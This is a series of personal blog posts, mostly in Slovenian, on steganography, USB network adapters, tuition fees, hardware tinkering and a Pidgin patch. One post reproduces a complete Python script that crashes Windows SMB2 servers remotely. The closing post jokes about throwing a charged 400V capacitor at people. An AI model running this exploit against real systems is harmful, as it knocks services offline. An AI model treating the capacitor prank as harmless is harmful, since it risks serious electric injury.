Pred kratkim sem naletel na program Steghide, ki zna skriti sporočila¹  v naprimer jpeg slike;  (v gentooju je že vključen v main portage tree), zanimalo me je pa, kako opazna je razlika po vstavljenem sporočilu.

Za primer sem vzel 254kB veliko sliko:

ter sporočilo:

It is not too late to turn back from the GATES of hell.
Use Linux - the free 32 bit operating system.

Za skritje sporočila je potrebno v terminalu vpisati:

steghide embed -cf slika.jpg -ef sporocilo.txt

Program vpraša za geslo (uporabil sem “abc”), in v sliko vstavi sporočilo.

Nova slika izgleda tako:

Če primerjam slike:

Razlika je res neopazna s prostim očesom.

Tudi če uporabimo večje sporočilo (128kb teksta, 4kb pri bzip2 -9):

..je razlika spet skoraj neopazna s prostim očesom,… če primerjamo:

ps: sporočilo spet dobimo “ven” z ukazom:

steghide extract -sf slikassporocilom.jpg

..in seveda geslom

pps: steghide uporablja tudi enkripcijo² in kompresijo.  Podpira shranjevanje poljubnih datotek v jpeg, bmp, wav in au datoteke. Če je sporočilo/datoteka  preveliko/a, nam to program sporoči.  Uporabi tudi checksum, da preveri, če so podatki nepoškodovani.

Ker vse take naprave izdelujejo Kitajci s skoraj istim naborom čipov, sem med cenejšimi variantami (<10usd) zasledil mnogo derivatov le dveh naborov čipov.

Prvi je (cenejši – ~3.5usd), možne so različne barve, a oblika ohišja je enaka:

Switchu se predstavi kot 100mbit naprava, računalniku pa kot:

[114932.537055] usb 5-2: new full speed USB device using uhci_hcd and address 23
....
[114932.850659] eth3: register 'dm9601' at usb-0000:00:1d.0-2, Davicom DM9601 USB Ethernet, ...
[114932.850693] usbcore: registered new interface driver dm9601
...
[114969.289118] eth3: link up, 100Mbps, full-duplex, lpa 0xC5E1

Seveda dobimo IP prek DHCP-ja in internet dela.

Drug vmesnik je malo dražji (~8usd), zasledil sem le črno varianto:

Tudi ta se prikaže kot 100mbit naprava, v dmesgju pa tu vidimo:

[115061.187061] usb 2-2: new high speed USB device using ehci_hcd and address 29
...
[115061.383165] eth1: register 'MOSCHIP usb-ethernet driver' at usb-0000:00:1d.7-2, MOSCHIP 7830/7730 usb-NET adapter, ...

Razen čipa, naizgled delujeta enako ‘dobra’, a treba povdariti na razliko med usb “Full speed” (USB1.1 full speed – 12Mbps) ter “High speed” (USB2.0 480Mbps). Tukaj pa se pojavi vprašanje smiselnosti 100Mbitne povezave ki deluje na 12Mbitnem usb-ju?

Seveda sem z iperf-om stestiral¹ povezavo, in za zgornji, usb1.1 model prišel do hitrosti 9.60Mbit down, in 9.63Mbit up (kar je seveda realno za USB1.1, a bolj sodi k 10Mbitni povezavi namesto reklamirane 100Mbit (čeprav se tako predstavi ostalim mrežnim napravam)). Za spodnji, USB2.0 model, pa sem nameril ~93Mbit-ov up, ter ~96Mbit-ov down, kar je že kar prijetna hitrost za delo.

Tako da…. če se kdo odloča za nakup kakega USB vmesnika, je dobro prvo preveriti, če vsaj v teoriji lahko doseže napisane hitrosti, torej če vsaj podpira USB2.0. (in seveda če dela na Linuxu ;D).

PS: Oba izdelka sem kupil in plačal sam, nihče me ne plačuje za test, in blog-post ni mišljen kot reklama. Komentarji prikazujejo moje lastno mnenje.

In potem pride Flash player, začasno zmrznjen browser, full screen, ki izgine ko zamenjaš namizje, in cela kopica drugih #failov povezanih s flashom.

A končno (“or did hell really freeze over?”), sem našel native aplikacijo, za predavajanje youtube posnetkov. Imenuje se MiniTube, potrebuje qt>4.5, phonon (in očitno še phonon-kde), ter doberšen nabor gstreamer pluginov (bad, ugly, ffmpeg,…).

Sicer ne dela na windowsih, ampak itak… kdo sploh še uporablja ta crap?

Screenshot:

Minitube

Na strani student-info, se je pojavil članek o šolninah. Seveda človek ob naslovu pričakuje ‘klasične’ argumente, tipa: “študirali bodo samo bogati”, oz. “revni bodo ostali neizobraženi, oz, še naprej revni” ipd… A v tem članku je napisano drugače… vsega sicer nima smisla komentirati, ker me je posebej zmotil le en del, in to tisti, ki opisuje zakaj so šolnine “dobre”:

da citiram:

Ali so šolnine res tako slabe?

Na šolnine večina izmed nas gleda s finančnega vidika. Vendar pa je to le en del pogleda na celotno zadevo. Velikokrat se študentje pritožujejo, da v predavalnicah zmanjka prostora in da morajo med predavanjem zato sedeti na tleh, kar ni posebej priporočljivo za fizično zdravje. Se pa kdo pri tem vpraša, da bi bilo manj študentov v predavalnici, če bi uvedli šolnine? Da bi na predavanja hodili samo tisti, ki jih to resnično zanima, ne pa, ker morajo sedeti tam, kot veleva bolonjski sistem. Verjetno bi se tudi manj študentov vpisovalo na fakulteto zaradi statusa in ugodnosti, ki jim jih prinaša, če bi morali za to nekaj plačati. Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb. Verjetno bi se tako našel tudi denar za izboljšanje razmer še posebej pri praktičnih vajah, opremi laboratorijev in tudi tehnični opremi. Največ živcev verjetno gre študentom, ko čakajo na rezultate izpitov. Si kdaj pomislil/-a, da bi bili rezultati prej, če bi bilo manj izpitov za popravit? Do tega bi lahko prišlo, če bi bilo manj študentov na posamezni smeri.

Glavni argument za šolnine, je da bo potem manj študentov?! To da ljudje nekje sedijo na tleh je problem organizacije fakultete, oziroma preveč vpisanih študentov na enem predmetu. In po kateri logiki naj bi to, ali boš ostal, ali ne, odločalo tvoje finančno stanje?  Čemu sploh služijo obvezna predavanja? Kdor noče poslušati, naj ne pride! Zakaj bi nekoga silili da hodi na perdavanja? Tako ali tako na koncu odloča samo izpit. Število prisotnih na predavanjih, pa po drugi strani prinaša tudi feed-back profesorju… vsaj jaz bi se zamislil nad sabo, če bi bil profesor, in če bi na mojih predavanjih, namesto 150, bilo 5 študentov.

Zanimiv je tudi totalno zgrešen stavek:

Kar bi pomenilo manj vpisanih študentov in bi fakultete lahko denar, ki ga dobijo od države bolje razdelile med manjše število uka željih oseb.

Fakultete dobivajo denar od države (več ali manj) ‘po glavi’, torej več študentov = več denarja. Več denarja bi bilo predvsem zaradi šolnin. Seveda kaj bi bilo, če neka “uka-željna” oseba, ne bi imela denarja za šolnino?

Zadnji argument, o čakanju na rezultate izpitov, pa je po moje sploh čisti #fail… Izpit je že odpisan… a je res tako pomembno a ga dobiš čez 3 dni, ali pa čez 5?

Ahja.. edino prednost ki jo jaz osebno vidim v šolninah, je, da bi se študenti bolj “primerno” razporedili po fakultetah. Ker ‘normalen’ posameznik tako ali tako ne bi mogel normalno plačevati šolnin, bi bil odvisen od štipendij (predvsem kadrovskih). In ker podjetja izplačujejo kadrovske štipendije le za poklice, ki jih potrebujejo, bi bilo več študentov na tistih fakultetah, s katerih je potrebno več delovne sile. Torej (trenutno) več naravoslovcev in inženiringa ter manj družboslovja. Je pa res da je nekaj vsaj približno podobnega temu (o slabi porazdelitvi študentov) rekel en izmed ministrov pri neki čisto drugi aferi, in bil seveda izžvižgan

Torej uptime ob času pisanja (trenutni je tukaj):

mulaz@lilly ~ $ uptime
19:07:40 up 602 days,  8:49,  2 users,  load average: 0.12, 0.37, 0.99

Seveda je bil laptop nekajkrat vmes tudi očiščen, a nikoli izklopljen, dan v spanje, hiberniran, ali karkoli kar bi pomenilo da ni “up”

PS: mogoče bi bil že čas za restart… a se bojim da se kak kos hardware-a po restartu nebi več pobral…. :/

Ko geekaš sred noči… (ker maš sfukan bioritem, in je to zate šele pozno popoldne), postaneš lačen. In kaj je najlažje pripravit? Pico! Seveda zmrznjeno…, ker sem len, in se mi ne da mesit testa, in se zaje***vat z vsem,… Na slikah je pica s salamo (neka hoferjeva, za cca 1.5eur), čez je dodanega mal navadnega sira, mozarella, in uni luškani mini paradajzki

slika prej:

in še spečena:

Nomnomnom

ps: aja.. dodau sm tud olive.. une ta manjše so s papriko, una ena tavečja ma pa cel strok česna (moral sem spraznit kozarce (mam še dva cela buhaha))

pps: pica je bila pečena ob cca 3:04h, torej je kar malo več after midnight

Torej… ko pride do kakega grdega b00ga, exploita ipd, so userji “on their own”, če uporabljajo Microsoft priozvode, so pa “safe and secure”…

No in danes mi je @Kostko poslal zanimiv link (click here), kjer se nahaja kratka python skripta, ki na oddaljeni mašini sproži BSOD.  In kako je sedaj z ‘zagarantirano varnostjo’? Citiram:

Vendor contacted, but no patch available for the moment. Close SMB feature and ports, until a patch is provided.

Hmm.. očitno bo najbolje da izklopimo M$ file serverje, zakurimo ogenj in čakamo

In za vsak slučaj, da ne bi exploit kam izginil, dajem kopijo sem:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
 
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
 
)
s = socket()
 
s.connect(host)
s.send(buff)
s.close()

ps:  zadeva se je pojavila tudi na slashdotu (click here)

pps:

(21:19:09) Anze: na zobavniku potrjeno bsod dela na visti
(21:19:12) Anze: win7 je safe <--????
(21:19:16) Anze: win 2k8 pade

V Beogradu na Kalenić pijaci sem našel tole igračko, za relativno nizko ceno (cca 15eur). Sond za njega nažalost (še) nimam, a imam v načrtu predelavo konektorjev v klasične BNC. Popolnoma stestiral ga zato še nisem, a tudi brez sond lepo prikazuje 50Hz šum.

Večina stvari (vsaj na prvi pogled) deluje… za tiste za katere ne vem kaj naj bi počele, pa upam da bom uspel dobiti originalna navodila zanj. Prav tako mislim da bo potrebno zamenjati nekaj elektrolitov, a to je malenkost.

Na zadnji strani je tudi zanimiv priključek X1, za katerega ugibam da naj bi predstavljal neko zunanje proženje (upam). Vidi se pa tudi letnica 1983, in kratica ZIP, ki upam da je ime podjetja ki ga je izdelalo. Googlanje za ‘zip’-om še ni bilo uspešno… ampak upam da se bo našlo kaj.

Torej ja… i can has a new toy!

Edit 1: Treba je bilo prelotat ene dva kabla in sedaj lepo prikazuje signal… problem je le, da je slika razhlo postrani, tako da bom jutri (torej danes, samo po tem ko grem spat in se spet zbudim) pregledal odklonski sistem (ali pa zavrtel celo katodno cev)

Edit 2: Katodna cev naravnana in fiksirana, napajalni kabel zamenjan z dalšim, in ozemljitev pobrana z energetskega omrežja.  Konektorjev še nisem zamenjal z bnc-ji, ker mislim da bo treba povečat luknje, a nisem 100%.  Zazdaj dela brez problema

ps:  Zahvala Branku za navodila

Patch spodaj spada med grde hacke (TM), in za razliko od mojih one-line patchev… je tukaj potrebo dodati kar celi (pazi dvojina!) dve vrstici (pazi dvojina spet)! Seveda zaradi oklepajev in zaklepajev, to število naraste kar na magičlnih 4 vrstic spremebe v kodi ) Zakaj pa grd hack? Zaradi system()-a, pa še česa… sj bi se dalo lepše to narest, brez klicev zunanjih programov, a ker sem len… naj gdo drug popravi ) Patch je tudi thinkpad-specific, a se ga da enostavno prilagoditi.

Evo patch:

diff -Naur pidgin-2.5.8/pidgin/gtkdocklet-x11.c pidgin-2.5.8-l/pidgin/gtkdocklet-x11.c
--- pidgin-2.5.8/pidgin/gtkdocklet-x11.c	2009-06-28 04:05:26.000000000 +0200
+++ pidgin-2.5.8-l/pidgin/gtkdocklet-x11.c	2009-07-19 17:18:13.000000000 +0200
@@ -115,10 +117,14 @@
 		default:
 			icon_name = PIDGIN_STOCK_TRAY_AVAILABLE;
 			break;
+
 	}
 
-	if (pending)
+	if (!pending) system("echo off > /proc/acpi/ibm/light");
+	if (pending) {
 		icon_name = PIDGIN_STOCK_TRAY_PENDING;
+		system("echo on > /proc/acpi/ibm/light");
+	}
 	if (connecting)
 		icon_name = PIDGIN_STOCK_TRAY_CONNECT;

Seveda je ukaz znotraj system(“tole tle mislm“) mogoče spremeniti po želji, in lahko z recimo “eject /dev/cdrom” ejecta cdrom ob čakajočem sporočilu, in z “eject -t /dev/cdrom” spet injecta(?) ko ni več čakajočih sporočil.

Patch worksForMe(TM) na pidginu 2.5.8. Seveda če se zaradi patcha vaš računalnik samovžge, eksplodira, ali pa iz njega skočijo škratki ki začnejo štrajkati, nisem jaz nič kriv, in me sploh ni blo zraven.

Have fun!

So, because the intro was relatively long, I am going to make the rest of the post shorter (i’m lazy, so what).

A couple of weeks ago¹ Brodul² and I decided to trash/wreck/destroy an old non-working laser printer, and harvested some interesting parts. Most of the motors, and the laster module are still in Kiberpipa, but I decided to keep 1 capacitor and 4 resistors.

Why the capacitor?³

As you can see in the picture, it is a 330uF capacitor, built for 400 volts. Anyone who ever tried charging a high-voltage capacitor in a wall outlet (for example through a bridge rectifier) and throwing it towards someone else to catch,  knows how funny that is

And why the resistors? Aren’t they dirt cheap?⁴

These are 2.6ohm 20W resistors (4 of them), they were used in the printers power supply, and when fully loaded released 80 watts of heat. That’s more power then your whole laptop uses… and all of it went to (probably unwanted) heat.

I can’t wait for the next ‘breaking and smashing day’ in kiberpipa